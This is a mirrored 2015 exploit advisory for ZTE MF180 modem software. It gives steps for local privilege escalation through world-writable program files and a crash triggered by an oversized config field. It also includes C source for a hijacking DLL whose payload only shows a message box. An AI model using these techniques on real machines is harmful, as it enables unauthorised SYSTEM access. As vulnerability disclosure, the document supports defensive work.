Lucene search
K

ZTE Datacard MF180 Privilege Escalation / DLL Hijacking

🗓️ 12 Jan 2015 00:00:00Reported by Hadji SamirType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

ZTE MF180 Datacard Privilege Escalation & DLL Hijacking Vulnerabilitie

Code
`/*   
* Exploit Title:ZTE Datacard MF180 PCW_TNZNZLMF180V1.0.0B02 (Telecom MF180 Modem) Insecure Permissions Local Privilege Escalation & PoC Local crash & Path Subversion Arbitrary DLL Injection Code Execution (mms_dll_r.dll)  
* Date: 10/01/2015  
* Author: Hadji Samir [email protected]  
* Link soft:http://www.zte.co.nz/downloads/software/MF180_PC_Install.exe  
* Vendor: http://www.zte.co.nz/main/Product_Downloads/MF180_downloads.htm http://www.zte.com.cn/   
* Tested on: windows 7 FR  
* Thanks Anna   
  
  
  
  
############################# Insecure Permissions Local Privilege Escalation ################################################  
Technical Details & Description:  
================================  
A local privilege escalation vulnerability has been discovered in the official ZTE Datacard mobiconnect application software.  
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.  
  
The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change  
the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the `F` flag (full)  
for the `Everyone`(Tout le monde:F) and `Users` group, for the all binary file. The files are installed in the `Ucell Internet`  
directory which has the Everyone group assigned to it with full permissions making every single file inside vulnerable to change  
by any user on the affected machine. After you replace the binary with your rootkit, on reboot you get SYSTEM privileges.  
  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by local attackers with restricted account privileges and without user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
--- PoC Session Logs ---  
  
  
  
  
  
C:\Users\s-dz>cacls "C:\Program Files\Telecom Connection Manager"  
C:\Program Files\Telecom Connection Manager Tout le monde:F  
Tout le monde:(OI)(CI)(IO)F  
NT SERVICE\TrustedInstaller:(ID)F  
NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F  
AUTORITE NT\Système:(ID)F  
AUTORITE NT\Système:(OI)(CI)(IO)(ID)F  
BUILTIN\Administrateurs:(ID)F  
BUILTIN\Administrateurs:(OI)(CI)(IO)(ID)F  
BUILTIN\Utilisateurs:(ID)R  
BUILTIN\Utilisateurs:(OI)(CI)(IO)(ID)(accès spécial :)  
GENERIC_READ  
GENERIC_EXECUTE  
  
CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F  
  
  
C:\Users\s-dz>  
  
  
  
  
2- ########################### PoC Local crash ##########################################################  
  
  
first go to C:\program files\Internet Mobile\NetworkCfg.xml (Network configuration)  
and write "A" * 3000 in <ConfigFileName>"A" x 3000</ConfigFileName> . Save it open the program .  
poc will crash ...........  
  
  
  
  
##########################################################################################################  
  
  
3-########################Path Subversion Arbitrary DLL Injection Code Execution (mms_dll_r.dll)#######################  
  
ZTE Modems is prone to a flaw in the way it loads dynamic-link libraries (mms_dll_r.dll). The program uses a fixed path   
to look for specific files or libraries. This path includes directories that may not be trusted or under user control.   
By placing a custom version of the file or library in the path, the program will load it before the legitimate version.   
This allows a local attacker to inject custom code that will be run with the privilege of the program or user executing   
the program.This attack can be leveraged remotely in some cases by placing the malicious file or library on a network   
share or extracted archive downloaded from a remote source. This can be done by tricking a user into opening   
an unspecified file from the local file system or a USB drive in some cases  
  
*/  
  
#include <windows.h>   
  
BOOL WINAPI DllMain (  
HANDLE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved)  
{  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
owned();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
return TRUE;  
}  
  
int owned() {  
MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK);  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation